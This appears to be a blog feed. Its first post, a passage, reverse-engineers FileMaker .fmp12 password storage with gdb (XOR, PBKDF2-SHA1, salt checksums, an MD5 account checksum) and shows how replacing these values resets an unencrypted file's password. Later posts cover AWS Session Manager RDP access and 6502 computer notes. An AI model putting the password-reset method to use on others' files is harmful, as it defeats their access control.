0x00007ffff4c32902 <+146>: xor %edx,%edx
0x00007ffff4c32904 <+148>: div %r13d
0x00007ffff4c32907 <+151>: movzbl (%r14,%rdx,1),%eax
0x00007ffff4c3290c <+156>: or %ebx,%eax
 ===> 0x00007ffff4c3290e <+158>: xor (%rdi,%rbp,2),%ax <===
0x00007ffff4c32912 <+162>: rol $0x8,%ax
0x00007ffff4c32916 <+166>: mov %ax,(%rdi,%rbp,2)
0x00007ffff4c3291a <+170>: add $0x2,%ecx
0x00007ffff4c3291d <+173>: mov %esi,%ebp
0x00007ffff4c3291f <+175>: add $0x1,%esi
0x00007ffff4c32922 <+178>: cmp %rbp,%r9
0x00007ffff4c32925 <+181>: ja 0x7ffff4c328f0
[...]

Looking at the assembly code, we can identify an XOR operation (shown with arrows above) with two 16-bit values. Calculating both the effective memory address and looking up the value in ax (lower 16 bits of rax), we can see that in the first iteration the values are 0x77 0x00 (little endian) and 0x46 0x69, respectively.

Looking up the ASCII character for 0x0077, we can identify it as w – the first character (zero-extended to 16-bits) of our whatever password.

Doing the same for 0x46 and 0x69, we arrive at Fi, the first two characters (1 byte each, so also 2 bytes/16-bits) of the constant string we saw earlier.

The result of the XOR operation is thus 0x0077 ^ 0x4669 = 0x461e.

Continuing for the whole length of the password, we arrive at a new sequence of bytes that we note down for later.

Looking at additional calls

Inspecting the function further we see two interesting calls:

 ===> 0x00007ffff4c3294e <+222>: callq 0x7ffff4c08b30 <EVP_sha1@plt> <===
0x00007ffff4c32953 <+227>: mov 0x70(%rsp),%rbp
0x00007ffff4c32958 <+232>: mov 0x10(%rsp),%rdi
0x00007ffff4c3295d <+237>: mov 0x18(%rsp),%esi
0x00007ffff4c32961 <+241>: add %esi,%esi
0x00007ffff4c32963 <+243>: mov 0x8(%rbp),%ebx
0x00007ffff4c32966 <+246>: mov %r12,%rdx
0x00007ffff4c32969 <+249>: mov %r15d,%ecx
0x00007ffff4c3296c <+252>: mov 0xc(%rsp),%r8d
0x00007ffff4c32971 <+257>: mov %rax,%r9
0x00007ffff4c32974 <+260>: pushq 0x0(%rbp)
0x00007ffff4c32977 <+263>: push %rbx
 ===> 0x00007ffff4c32978 <+264>: callq 0x7ffff4c087e0 <PKCS5_PBKDF2_HMAC@plt> <===
0x00007ffff4c3297d <+269>: add $0x10,%rsp
0x00007ffff4c32981 <+273>: mov 0x10(%rsp),%rdi
0x00007ffff4c32986 <+278>: lea 0x20(%rsp),%rax
0x00007ffff4c3298b <+283>: cmp %rax,%rdi

The two highlighted functions are from the OpenSSL library.

Since the library is open source, we can look up code and documentation and know for sure what arguments are expected to be passed to these functions.

So just like before, we can set a breakpoint at the key derivation function PBKDF2 (explained in more detail in my other post) and look at the registers again to see what values are being passed.

This is the function signature:

int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 const EVP_MD *digest,
 int keylen, unsigned char *out);

And these are the register values when calling the function:

(gdb) info reg
rax 0x7ffff34b47e0 140737275185120
rbx 0x14 20
rcx 0xa # length of salt (10 bytes)
rdx 0x7fffffffa0d9 # points to 10 byte (rcx) salt (now confirmed) 0x04 0x72 ... (x/10xb $rdx)
rsi 0x10 # length of xored password (16 bytes)
rdi 0x60a38220 # points to 16 (rsi) bytes of XORed password 0x46 0x1e ... (x/16xb $rdi)
rbp 0x7fffffffa350 0x7fffffffa350
rsp 0x7fffffffa038 0x7fffffffa038
r8 0x1 # the value of 1 seen before, the iteration count
r9 0x7ffff34b47e0 # points to SHA1 context

On stack: keylen of 20 and address for out

I commented each relevant register value above. To summarize it again:

We pass in our XORed password (rdi) from above. The value for the salt argument (rdx) is the 10 bytes we identified earlier (so it’s now confirmed that it indeed is a salt value), an iteration count (r8) of 1 (the 0x01 value we saw earlier), and a pointer to the SHA1 hashing function (r9) (we saw it being initialized above). Additionally, a desired key length of 20 and an address for the output is passed.

Letting this function run and observing the result written to *out we can see that it is exactly the 20 bytes after the previously identified salt value in the 59-byte long sequence of bytes at path 23.1.5.2.6.

Summary so far

Of the value at 23.1.5.2.6 we now know the following components:

010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--> Still unknwon
| | +--> The 20-byte derived key / password hash
| +--> The 10-byte salt value
+--> Always 1; we could assume that this is some sort of version number, in case the algorithm changes in the future

To arrive at this result, we saw that we have to have the password (char16), a salt and a fixed value.

In a loop, we XOR the password with the fixed value.

We then feed the XOR result into PBKDF2 with a SHA1 digest function.

And out comes the hash that is being stored in the fmp12 file.

Figuring out the variable-length “checksum”

So what is the still unknown part of this 59-byte sequence? And why does it change in length every time we change a password?

To figure this out, we have dig into another function called Draco::DBPassword::Read:

[...]
0x00007ffff5e61aeb <+459>: mov $0x1,%edx
0x00007ffff5e61af0 <+464>: movzbl 0x1a(%rsp,%rdx,1),%ebx
 ===> 0x00007ffff5e61af5 <+469>: xor 0x10(%rsp,%rdx,1),%bl <===
0x00007ffff5e61af9 <+473>: movzbl 0x2e(%rsp,%rdx,1),%ecx
0x00007ffff5e61afe <+478>: cmp %bl,%cl
0x00007ffff5e61b00 <+480>: sete %al
0x00007ffff5e61b03 <+483>: cmp %rsi,%rdx
0x00007ffff5e61b06 <+486>: jae 0x7ffff5e61b14
0x00007ffff5e61b08 <+488>: add $0x1,%rdx
 ===> 0x00007ffff5e61b0c <+492>: cmp %bl,%cl <===
0x00007ffff5e61b0e <+494>: je 0x7ffff5e61af0
0x00007ffff5e61b10 <+496>: jmp 0x7ffff5e61b14
0x00007ffff5e61b12 <+498>: and %cl,%al
0x00007ffff5e61b14 <+500>: test %al,%al
[...]

Here, we see again a XOR operation in a loop. And if we look at the values in memory and the register for each iteration, we will find that each byte of the password hash is XORed with each byte of the salt value.

Looking at the result, we see that it matches the previously unknown remainder of the 59-byte sequence mentioned earlier.

We also see that every computed byte (XOR result) is compared to the stored byte – so any variation between stored and computed will likely trigger the tamper alert.

Visualizing the first few operations of this loop:

010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 | | | | | | ^ ^ ^
 | | | | | | | | |
 | | | | | | | | |
 | | | | | | | | |
 | | | v | | | | |
 +-|-|---> xor(0x04, 0x3c) = 0x38 ---------------------------+ | |
 | | | | | |
 | | v | | |
 +-|-----> xor(0x72, 0xbc) = 0xce ---------------------------+ |
 | | |
 | v |
 +-------> xor(0xb2, 0x1f) = 0xad ---------------------------+

You might be wondering how you can XOR salt and password if they differ in length. What actually happens is XOR(salt + password, password), with the password being extended by the XOR result as the loop progresses.

Why variable length?

What we don’t yet understand is why the XOR byte-sequence has a variable length, i.e. is often truncated.

The answer is to be found in yet another function: Draco::DBUserAccount::MatchPasswordData.

Setting a breakpoint, running the program and taking a closer look, we can see the following instructions:

0x00007ffff5e63901 <+225>: movzbl 0x28c(%rsp),%esi
0x00007ffff5e63909 <+233>: and $0x1f,%esi

By calculating the effective memory address and inspecting the source of the value being moved into esi, we can observe that it always takes the second byte of the password hash:

01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 |
 +--> 0xbc is the second byte of the password hash

What follows is a bitwise AND instruction with inputs 0x1f and the value in esi (0xbc in this case).

The bitwise AND operation performs a logical AND on every bit-pair of the two input bytes. If both values of a pair are 1, the result is 1, otherwise 0.

 00011111 <=== 0x1f
AND 10111100 <=== 0xbc
 --------
 00011100 = 0x1c = 28

If 0x1f is fixed, the largest value that can come out of this is 0x1f, or 31, itself.

But what do we do with this value? It turns out that it is used to truncate our XOR “checksum”.

So in our case with the second byte of the password hash being 0xbc, we would have a 0x1c, or 28 byte long checksum at the end:

01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--> 28 bytes
| | +--> 20 bytes
| +--> 10 bytes
+--> 1 byte

Now the big question is: Knowing all the components in this 59-byte sequence at path 23.1.5.2.6, can we generate a new salt, compute the derived key/hash, and XOR checksum from a new password of our choice, insert it back into the file, and then open the file using the chosen password?

It could work (based on our assumptions so far). Before we try it out, though, we have to account for one more thing.

If we choose a new password with the same or different salt value, we will most-likely have a different length XOR checksum at the end. This means, we would need to re-align the block (filling it up with NOPs or null-bytes won’t work).

Since this can get complicated, we can use a small trick: we just brute-force a new salt-value which – combined with the password – leads to a 0xbc in the second byte of the SHA-1 hash. This way, the length of the XOR checksum at the end will stay the same and we replace the 59 bytes exactly with another 59-byte long sequence.

So let’s insert the new value, and try to open the file again:

Oooops! :-) Still not working.

Figuring out the account checksum

Our failure implicitly gave us another hint: there must be another piece of data which also takes the salt and password into consideration – otherwise our little replacement from above would be impossible to be detected as tampering.

So let’s go back to the beginning and have another look at the account section that we parsed out earlier:

(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==> 05407cdc76b7f1fd29ac5a9c791af6b8 <=== remember this?

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==> 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==> 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==> 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==> 1b3e373334 ===> ("Admin" XORed with 0x5a)

We saw this fixed-size 16-byte long “hash-like” looking sequence of bytes with key 0x04. We previously made the assumption that it could be an MD5 hash (given the length). We also observed that it always completely changes with every change made to the account (changing password, account name, privilege set, etc.).

Hunting for more functions, we eventually see that Draco::DBUserAccount::ComputeCRC is called for every account in the file (you could have also seen that ComputeCRC is on the callstack for some of the other password related functions; info stack).

So if we break at the n-th call to the function, where n is the position of the account, we can continue our investigation.

Getting a first overview of the assembly instructions, it stands out that we have a lot of calls to another function, Draco::CRCContext::Update, which in turn calls OpenSSL’s MD5_Update function.

Debugging functions for which we have documentation and code is always easier. So why don’t we break at every call to MD5_Update until we have a MD5_Final call which finalizes the checksum?

The strategy is the same as before: pause the program when the function is called, then look at the passed values. For OpenSSL’s MD5_Update function we even know the signature, which makes things easier: int MD5_Update(MD5_CTX *c, const void *data, unsigned long len);.

So what’s in the registers when the function is called?

(gdb) info reg
rax 0x7fffffffa880 140737488332928
rbx 0x7fffffffa890 140737488332944
rcx 0x1 1
rdx 0x10 16
rsi 0x7fffffffa880 140737488332928
rdi 0x60a37dd0 1621327312
rbp 0x0 0x0
rsp 0x7fffffffa868 0x7fffffffa868
r8 0x0 0

rdi has the MD5 context, which we can ignore for now. rsi contains a pointer to the data to be included in the hash, and rdx contains its length.

(gdb) x/16xb $rsi
0x7fffffffa880: 0x44 0x8f 0x00 0x0b 0x21 0xe9 0x41 0x2b
0x7fffffffa888: 0xa5 0x9c 0x8c 0x5f 0xd9 0x68 0x13 0xdb

While we don’t know what this sequence of bytes represents, we can just note it down and continue to the next call until the MD5 hash is finalized.

Eventually, we have all inputs to the MD5 hash and can also re-create it in a program of our own. It turns out, when computed again, the hash exactly matches the value stored at 23.1.5.2.4.

But how would we re-compute this without seeing the values from the debugger? For most values that are an input to the hash function, this is relatively easy: you can search for the value in the fmp12 file and note down its path (given it has an adequate length to be unique-ish in the file).

To find the value for a different file, you could just look up the value at the same path again. And if all fails, you could of course also run the debugger again to get to these values.

Do we have it now?

Since we can now freely re-compute the values at 23.1.5.2.4 and 23.1.5.2.6, is it enough to replace the two byte-sequences in a file to open it with a new password?

We enter our new password, and voilà: we’re in :-)

Additional info and caveats

A few important things to note and to answer some questions that came up during my talk:

FileMaker’s Encryption at Rest feature protects you exactly from this (as long as you keep your passphrase secret)
There are and will always be undocumented byte-codes as the specification is not open. In this case you either need to figure out what the byte-code does or you can decide to skip the rest of the payload and jump to the next block. If you are only interested in the account/password information, this is usually not a problem as long as the unknown code(s) don’t appear in exactly the block containing the account information.
Some components that go into the MD5 hash are semantically unclear (to me). In most cases you can just copy the value from the file (if at a known path). If this doesn’t work, you can always get them via the debugger.
If all [Full Access] accounts / the privilege set have been removed from the file and you want to add back such an account, you will need to figure out a lot more than described above. While theoretically possible, it’s probably hard work (need to add back the privilege set, a new account, re-align the blocks, etc.).
Note that you don’t need an account/password if you just want to get a specific piece of data from a file. You can just parse the file as described above and get/export it this way.
Is the file integrity still intact after replacing the hashes? From what I can tell, yes. You can also run a recovery on the file afterwards and it doesn’t flag the changed block as “bad”. However, there’s obviously no guarantee as there’s no official documentation. Changing a password the “normal” way does a bit more to the file, but I don’t think the other changes are particularly relevant (more like modification counts, etc.).
What do the commercial password reset tools do? I don’t have any of those tools, but someone provided me with two fmp12 files; one original and one created using the “Passware” recovery tool. The only difference between the provided files was in the two mentioned paths. So they do exactly the same thing as described in this post.
Is this a vulnerability in FileMaker? No, I don’t consider the possibility of resetting a password in a local unencrypted file to be a vulnerability, so nothing was reported.

Connecting to a private Windows EC2 instance without exposing RDP to the internet

Mon, 12 Feb 2024 00:00:00 +0000

The problem statement

Let’s say you have a (Windows or Linux) EC2 instance in a private subnet and want to access it interactively. There are several ways to do this:

You could use a bastion host in your public subnet, harden it and limit access to a certain IP range, and then tunnel your SSH or RDP (or any other TCP) traffic through this host using SSH.

Alternatively, you could set up a VPN server through which to connect to your instance.

Another option for RDP could be an RDP gateway (to not expose RDP directly).

Or you could just care a little less and put your instance in a public subnet, make it directly addressable, lock down source IPs with a security group, and live with the risk of not having an additional layer in front.

Any other idea?

AWS Systems Manager Session Manager

There’s actually another relatively straightforward way to connect to your instance – AWS managed and without the requirement to open ports to any of your resources, manage SSH keys or maintain your own bastion hosts.

With AWS Systems Manager Session Manager, you (or any IAM user with permission) can open a session to your private instance either from the AWS console in the browser or through your local machine. You can even get a connection history and shell logs of established sessions and do your user management as you are already used to in AWS IAM.

If the last paragraph sounded like an advertisement, it wasn’t supposed to :-) I’m generally a fan of using established and vendor-independent tools and procedures; so if you already have everything set up and an established secure workflow with a VPN or bastion host, it may not be too interesting for you. If your resources are primarily on AWS, however, it is still a useful service to know about.

Since I just had this use case for a Windows server to which I also needed GUI access, I wrote down my steps. Let’s see how we can practically set up this scenario for RDP.

What this tutorial is about

In the following steps we will create a new VPC with a public (i.e. with a route to an internet gateway) and a private subnet.

For internet access, we will give the private subnet a route to a NAT gateway residing in the public subnet. Then we will continue by creating an instance which can assume a role for Session Manager Management.

And finally, we will create a port-forwarding session and access our private instance through a local RDP client.

It’s also possible to do this without internet access by using VPC endpoints; I think the EC2 instance only needs to have egress port 443 allowed to the SSM gateway endpoints. You can see the Session Manager Agent on the EC2 instance establishing these connections.

If you just want to see how to connect, jump to the end of the article.

Creating VPC, subnets, gateways, routes

Let’s create a VPC with a small IP range (adjust as you like), giving us space for about 250 hosts (not counting network, a couple of AWS internal reserved hosts, and broadcast). More than enough as we will actually only have one instance and NAT gateway for this demo setup.

aws ec2 create-vpc --cidr-block 10.0.0.0/24 # from now on: vpc-1234

Next, we create an internet gateway and attach it to our VPC:

aws ec2 create-internet-gateway # from now on: igw-1234
aws ec2 attach-internet-gateway --internet-gateway-id igw-1234 --vpc-id vpc-1234

Let’s continue by creating two subnets. One public (to which we connect the internet gateway) and one private (where our Windows server will reside). Again, I’ll just split the /24 network into two parts, but you might want something else.

aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.0/25 # from now on: subnet-1234 (will become public)
aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.128/25 # from now on: subnet-5678 (will stay private)

To give the private subnet access to the internet, we’ll add a NAT gateway and assign it an IP address:

aws ec2 allocate-address --domain vpc --network-border-group eu-central-1 # from now: eipalloc-1234
aws ec2 create-nat-gateway --subnet-id subnet-1234 --allocation-id eipalloc-1234 # from now on: nat-1234

And finally, we create the route table and routes.

First, for the public subnet:

aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-1234
aws ec2 associate-route-table --route-table-id rtb-1234 --subnet-id subnet-1234
aws ec2 create-route --route-table-id rtb-1234 --destination-cidr-block "0.0.0.0/0" --gateway-id igw-1234

And then for the private subnet:

aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-5678
aws ec2 associate-route-table --route-table-id rtb-5678 --subnet-id subnet-5678
aws ec2 create-route --route-table-id rtb-5678 --destination-cidr-block "0.0.0.0/0" --nat-gateway-id nat-1234

Note that the route tables will additionally always get a default route for destination 10.0.0.0/24 to target local on creation.

Setting up instance profile and creating Windows server in private subnet

We start out by creating a role with an EC2 trust relationship, such that instances can assume this role.

# EC2AssumeRoleSTS.json
{
 "Version": "2012-10-17",
 "Statement": {
 "Effect": "Allow",
 "Principal": {
 "Service": "ec2.amazonaws.com"
 },
 "Action": "sts:AssumeRole"
 }
}

aws iam create-role --role-name SSMManagedEC2 --assume-role-policy-document file://EC2AssumeRoleSTS.json

The first relevant piece for this whole Session Manager scenario is to add the (AWS managed) policy AmazonSSMManagedInstanceCore (arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore) to our role, which enables the AWS Systems Manager core functionality.

aws iam attach-role-policy --role-name SSMManagedEC2 --policy arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore

And since we want to use the role for the EC2 instance, we create an instance profile and then attach the role to it:

aws iam create-instance-profile --instance-profile-name SSMEC2
aws iam add-role-to-instance-profile --instance-profile-name SSMEC2 --role-name SSMManagedEC2

Finally, we can create our instance in the private subnet and specify the instance type, profile and image (AMI). I’m using an AMI for a Windows Server 2022 in eu-central-1 region. You could additionaly also specify a key-pair, but don’t have to as you can later access the instance from the browser via the AWS console (Instance -> Connect -> Session Manager) and create your user/change password from there (you’ll be dropped into a PowerShell session as a privileged ssm-user).

aws ec2 run-instances --instance-type t2.medium --subnet-id subnet-5678 --image-id ami-0ced908879ca69797 --iam-instance-profile Arn=arn:aws:iam::<your-account-id>:instance-profile/SSMEC2 # from now on: i-1234

Please note that you have to install the System Manager Agent on the instance yourself, if you’re not using an AWS provided AMI. For the one mentoned above, no extra steps are required.

Installing Session Manager plugin, starting port-forwarding session and connecting via RDP

If you can live with working in a browser, there’s not much else to do. Just hit the “Connect” button in the AWS console’s EC2 dashboard, select Session Manager, and your session will start (either a PowerShell session as the privileged ssm-user, or an RDP session via “Fleet Manager”).

If you want access from your local terminal or your local RDP client (or direct access to any other network application on the instance, really), you can use the port-forwarding feature.

To be able to start a session from your local machine you first have to install the Session Manager plugin from AWS (next to the awscli). If you use brew (on macOS), you can brew install --cask session-manager-plugin. For a manual install or a different OS see the install guide.

Now we’re finally ready to connect. Let’s open up an RDP client and get our Windows user/password ready (decrypt the randomly generated one either via your key-pair or create a new user/password via the Session Manager in the AWS console, as mentioned above).

We can then use the ssm command to start our session. And just like we would do with SSH, we can specify a port mapping. In the following I map the remote RDP port 3389 to an arbitrary local port:

aws ssm start-session --target i-1234 --document-name AWS-StartPortForwardingSession --parameters '{"portNumber":["3389"], "localPortNumber": ["33089"]}'

With our local RDP client, we can now connect to localhost:33089, authenticate with the Windows credentials and get a regular RDP experience.

If you work with SSH, you can also use the Session Manager as a proxy for your SSH session (document-name AWS-StartSSHSession).

Building a 6502 Computer

Wed, 10 Jan 2024 00:00:00 +0000

I’m currently in the process of building a computer based on the 6502 microprocesser, following Ben Eater’s instructions. It’s a nice way of learning the lower level parts of a computer by wiring up and eventually coding everything yourself.

In this post I want to share my (more or less structured) notes of the steps taken and lessons learned so far (covering part 1 to part 7). While my notes were mainly created to explain things to myself, I hope you can get some value out of it as well.

If you’re interested in building the computer yourself, follow along Ben’s videos and consider buying the parts directly from him to support the content.

Part 1

Video: “Hello, world” from scratch on a 6502

Notes and steps taken:

The 6502 is an 8-bit microprocessor introduced in the 70s and was used in popular home computers (like the Apple II or C64) in the 80s
A more modern version, the W65C02, is available since the 80s. The W65C02’s static design allows us to stop the clock while preserving the contents of the registers (which is not the case with the older design).
Getting an overview of available input and output pins; we have 16 bit addresses and an 8 bit data bus
Connect the clock (phase input) – I highly recommend building the system clock yourself as well (Astable 555 timer - 8-bit computer clock) such that you are able to single-step through instructions manually (which helps with understanding and is great for debugging). You can later swap it with a crystal oscillator.
Add a reset button to be able to reset the processor (using the RESB pin which must be held low for at least two clock cycles to reset/re-initialze)
Use an Arduino Mega to capture the states of the address pins and the data bus to get an understanding of what the microprocessor is doing
The connected pins are set to INPUT (pinMode) on the Arduino and then read in the loop (digitalRead). The bit values are printed to the serial monitor (in the Arduino IDE).
As we want to see the state after each clock pulse, we connect the clock to the Arduino as well. We then attach an interupt for the clock signal, attachInterrupt(digitalPinToInterrupt(CLOCK), onClock, RISING);, where CLOCK is pin 2 on the Arduino and onClock is the function containing the digitalReads. This allows us to read the state of the address and data lines (and whether the data bus is currently read or write, i.e. if the processor is currently reading from or writing to the data bus) whenever we get a pulse from the clock (instead of continously in the main loop).
The Arduino program will actually be pretty helpful later on during debugging. One tip I can give you is to leave some space on the address and data bus lines on the breadboard. It can get pretty tight there and you don’t want your debugging tools to be hard to use every time you have a problem.
With the Arduino monitoring the address and data lines, continue to hard-wire a value (i.e. just connect some resistors to ground or 5 volt for a 0 or 1, respectively) on the data bus. The value we hard-wire is 11101010, or 0xEA, which is the NOP instruction for the 6502 processor.
Having a sensible input on the data bus (even if it doesn’t do anything) lets us see much more clearly what the processor is doing: going through its 7-step intialization process as described in the data sheet when pressing the reset button, and then loading the start address of the program from address 0xfffc (low byte) and 0xfffd (high byte). In our harcoded case the address comes out as 0xeaea. And when the processor sets its address pins to the start address of 0xeaea and reads again from the data bus, it gets 0xea again (as that’s still the hard-wired value on the data bus) but this time treating it as an opcode for no instruction (NOP = 0xea, see datasheet). The processor then continues incrementing the address (to 0xeaeb, 0xeaeb, ...) every second pulse (as NOP takes two clock cycles) and reading another NOP. This goes on forever.

Part 2

Video: How do CPUs read machine code?

Notes and steps taken:

Install a 28C256 EEPROM (electrically erasable programmable read-only memory) which can store 32 kilobytes (or 256k bits) of data
Most of the pins are for addressing and I/O. We can set the address pins to a particular location to read the data (via the I/O pins) at that location on the ROM chip (which is what the processor will do). All address lines and data bus lines of the microprocessor would be connected to the address and I/O lines of the EEPROM.
Problem: the 6502 has 16 address pins (A0 to A15), the EEPROM only 15 (A0 - 14). So while the processor can access 65,536 (16^2) locations, the EEPROM only has 15 address pins as it can only store 32,768 bytes (2^15) of data. If the processor would sets its address pins to a value greater 0x7fff (32,767) it would start reading the contents from the beginning of the ROM again (as A15 of the microprocessor would be set high but only the pins of A0 to A14 would be connected to the ROM, 1000 0000 0000 0000 to 000 0000 0000 0000).
Possible solution: connect A15 to “Chip Enable” (CE, active low) pin of EEPROM so it would only output data when CE is low. Once the microprocessor would try to access higher addresses, the ROM wouldn’t output anything, meaning we could use the upper address space for something else.
Still a problem: as descibed in part 1, the processor wants to read the program start address from 0xfffc and 0xfffd (which is greater than 0x7fff) after its initialization.
Solution: invert signal from A15 to set CE to low when the top bit is set, and high when it is not. This way we have mapped the lower addresses to the higher addresses and can use the lower addresses of the microprocessor for something else.
Wiring: connect the address (A0 to A14) and data bus pins from the 6502 to the address and I/O pins of the EEPROM. Set further control pins as instructed. Connect A15 of 6502 to inverter (NAND gate) and output of the inverter to CE.
Create a file with 32k NOPs (0xea) and write it onto the ROM (to reproduce the behavior of the hard-wired NOPs from earlier). Remember for later that data at location 0x0000 in the file will get accessed when the microprocessor asks for data at 0x8000, since we hardwired this offset via the A15 -> inverter -> CE above. So we’ll always have this 32,768 byte offset for the ROM locations.
Now change the file of NOPs at location 0x7ffc and 0x7ffd (instead of 0xfffc and 0xfffd, remember the offset!) to set the start address to the beginning of the ROM, which is accessed as 0x8000 by the microprocessor (but is actually 0x0000 in the ROM). Confirm with the Arduino that reading the data from 0xfffc and 0xfffd after the initialization steps in fact returns 0x8000 (or rather 0x00 0x80, as it’s stored in little endian).
Create a more interesting program and store it at the beginning of the ROM (0x0000, or 0x8000 to the microprocessor): A9 42 8D 00 60
- 0xa9 is the opcode for load A (lda) with an immediate value (the 8-bit A register is the main register on the 6502)
- 0x42 is the (arbitrary) value we want to load into the A register
- 0x8d is the opcode for storing the contents of the A register to an address (sta)
- 0x6000 would be the target address where the contents should be stored
Running the program we see (monitoring with the Arduino) that the instructions are executed as expected and that the processor eventually wants to write the value 0x42 to address 0x6000 (address pins = 0x6000, data bus = 0x42). But, of course, we don’t have any memory (or other hardware) connected yet :-)
We need to find a way to have external hardware respond to certain addresses such that, for example, the 0x42 on the data bus from above could be stored somewhere. We’re going to use the W65C22 VIA (Versatile Interface Adapter).
The W65C22 is made to work alongside the 6502 microprocessor. Essentially, it has D0 to D7 pins that we can connect to our data bus, PHI2 to connect our clock signal to, RW to be in sync with the read/write of the 6502 and chip select pins to indicate when the 6502 is talking to the 65C22. The Port A and Port B pins of the 65C22 can be used for I/O. For example, we can latch data from the data pins to eventually send it to some other device (capture the data lines during a write, and then hold the value until we need it, while the processor can already continue doing other things). We also wire up the reset pin (RESB, active low) to our existing reset button.
How can we implement the address decode logic to know when the W65C22 needs to be active? We want the 2 CS (chip select) pins to be active (high and low) when the microprocessor has 0x6000 (0110 0000 0000 0000) on its address pins. The first two bits can go through NAND gates to output 0 when they are matching 0 (A15) and 1 (A14). This 0 can go directly to the CS2 which is an active low. A13 can be connected directly to CS1 as it’s an active high. With this setup the W65C22 will be enabled from 0x6000 (0110 0000 0000 0000) to 0x7fff (0111 1111 1111 1111) (as we don’t specifically handle the bits below A13).
Now we just need to wire up the register select pins, so that we can output from a register through the port A and port B pins (or use other functions). We will use the lower bits of the address (A0 to A3) to control this register selection.
Verify the wiring with a program that outputs to port B: A9 FF 8D 02 60 A9 55 8D 00 60 A9 AA 8D 00 60 4C 05 80 ... 00 80 ...
- load 0xff into the A register of the 6502 (0xff such that we set all the bits (1111 1111) of the data direction register on the 65C22 to output, 1 meaning “output”, see datasheet)
- store the contents of the A register to address 0x6002 (addressing data direction register B which is register 2, addressed as 0x6002 as A0 to A3 have to be 0010)
- now that we’ve set all pins of port B to output, we can store the value we want to latch, targeting register 0 (register “B”) at 0x6000. We are writing 0x55 to just light up every other LED connected to port B (as 0x55 is 0101 0101). The instruction is: A9 55 8D 00 60 (lda #$55, sta $6000)
- to make the LEDs blink, we can next flip the bits of 0x55 (0101 0101), writing 0xaa (1010 1010) using lda (0xa9) and sta (0x8d) again
- and then create an inifite loop by jumping back to the instruction of loading 0x55 (which was at location 0x8005): 4C 05 80 (0x4c being the opcode for JMP)
- we keep the start address at 0x8000 (0x0000 in the ROM) as we start reading the program from the beginning of the ROM

Part 3

Video: Assembly language vs. machine code

Notes and steps taken:

Write the previous program in assembly and use the vasm assembler to convert it back to machine code
Some hint regarding structuring the assembly code:
- Use .org directive to indicate to the assembler at which location the program is to be expected in memory. So .org $8000 would indicate that the instruction after this directive is to be found at address 0x8000 (which of course is actually 0x0000 in the ROM). In the same way we can use .org $fffc to set the start address of the program. Writing .word $8000 after this .org directive would thus be equivalent to setting the values 00 80 to 0x7ffc and 0x7ffd in the ROM file. Remember that without the .org $8000 directive, the assembler wouldn’t know that our program on the ROM maps to 0x8000 to the microprocessor and would expect it to start at 0x0000. This in turn would let the assembler write the start address to 0xfffc instead of 0x7ffc leading to a rom file twice the size (from 0x0000 to 0xffff, so 65,536 instead of 32,768 bytes).
Improve program to use labels, then change it to output a different LED pattern: start with 0x50 (0101 0000), then ror (rotate right) to let the active LEDs move to the right.

Part 4

Video: Connecting an LCD to our computer

Notes and steps taken:

Connect HD44780 LCD display to breadboard; add a variable resistor to be able to adjust brightness, connect port B lines from W65C22 to the data lines (D0 to D7) of the display; connect the three top bit pins from port A of the W65C22 to the control pins RS (register select), RW (read/write) and E (enable) of the display.
The data lines of the display are able to access a data register (DR) or an instruction register (IR) – which register is actually accessed/written to is determined by the control signals that we connected to port A of the W65C22. RS (register select) high means we are targeting the data register, RS low means we are targeting the instruction register (for controlling the behavior of the display). The actual reads or writes are happening once the E (enable) pin is set high.
Improve previous assembly program to set some constants for port A and B (PORTA, PORTB) and the data direction registers A and B (DDRA, DDRB)
In addition to setting all pins of port B to output, we do the same for the connected top three bits of port A (lda #%11100000, sta DDRA)
With the port A (top 3) and B (all) pins connected, we can send instructions to the display. Going through the example:
- Set data length, number of lines and character size with RS = 0 (we want to send an instruction), R/W = 0 (we want to write), D5 = 1 (function set instruction), D4 = 1 (data length 8 bits), D3 = 1 (2 line display), D2 = 0 (5x8 dots per character), D1 and D2 aren’t relevant (see instructions in table 6 and table 13 in data sheet). Encoding this in our assembly program would be: lda #%00111000, sta PORTB (load the values for the data lines into the A register of the 6502, store contents of A register to address of register B/port B on W65C22). Then clear the control signals on port A: lda #0, sta PORTA. And then set the enable bit (E) to actually send the instructions to the display’s registers: lda #E, sta PORTA (where E = %10000000) and immediately afterwards clear the control signals again.
- Continue in the same fashion for sending instructions for display on, entry mode (we want the address counter to increment with each character sent to have our text written left to right) and eventually to write a character.
- To write characters we need to set the register select (RS) to high to target the data register of the display and then put the ascii value of the character on the data lines and write it by toggling the enable bit
- Test out the program by writing it to the ROM, powering on the circuit and holding reset. We see the letters appear on the screen.

Part 5

Video: What is a stack and how does it work?

Notes and steps taken:

Improve “Hello World!” program by creating subroutines for lcd_instruction and print_char and then jumping there with jsr, and returning with rts.
